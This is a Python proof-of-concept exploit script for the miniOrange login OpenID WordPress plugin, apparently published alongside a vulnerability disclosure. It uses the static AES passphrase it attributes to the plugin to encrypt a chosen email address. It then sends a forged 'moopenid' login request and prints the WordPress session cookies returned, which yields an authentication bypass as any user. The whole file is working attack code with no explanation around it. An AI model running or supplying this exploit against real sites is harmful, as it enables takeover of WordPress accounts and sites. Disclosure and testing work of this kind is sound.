miniorange_login_openid_plugin_vdb_get_exploit_cookie.py

#!/usr/bin/python3

import sys
import getopt
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64


def main(argv):
    # static passphrase from the WordPress plugin code
    passphrase = 'jMj7MEdu4wkHObiD'

    website_url = 'https://lana.solutions/vdb/miniorange-login-openid/'
    email = 'vdb@lana.codes'
    try:
        opts, args = getopt.getopt(argv, 'hw:e:', ['website_url=', 'email='])
    except getopt.GetoptError:
        print('miniorange_login_openid_plugin_vdb_get_exploit_cookie.py -w <website_url> -e <email>')
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
            print('miniorange_login_openid_plugin_vdb_get_exploit_cookie.py -w <website_url> -e <email>')
            sys.exit()
        elif opt in ('-w', '--website_url'):
            website_url = arg
        elif opt in ('-e', '--email'):
            email = arg

    # format url
    website_url = website_url.rstrip('\/') + '/'

    # encrypt and encode email
    cipher = AES.new(passphrase.encode('utf-8'), AES.MODE_ECB)
    padded_email = pad(email.encode('utf-8'), AES.block_size)
    encrypted_email = cipher.encrypt(padded_email)
    encoded_email = base64.b64encode(encrypted_email).decode('utf-8')

    # post moopenid
    response = requests.post(website_url, headers={'Content-Type': 'application/x-www-form-urlencoded'},
                             data={'option': 'moopenid', 'email': encoded_email, 'appName': 'rlHeqZw2vrPzOiWWfCParA=='},
                             allow_redirects=False)

    # get cookies
    print('Response Cookies:')
    print('')

    for cookie in response.cookies:
        if cookie.name.startswith('wordpress'):
            print('Name: {}'.format(cookie.name))
            print('Value: {}'.format(cookie.value))
            print('Domain: {}'.format(cookie.domain))
            print('Path: {}'.format(cookie.path))
            print('Expires: {}'.format(cookie.expires))
            print('Secure: {}'.format(cookie.secure))
            print('HttpOnly: {}'.format(cookie.has_nonstandard_attr('httponly')))
            print('')


if __name__ == '__main__':
    main(sys.argv[1:])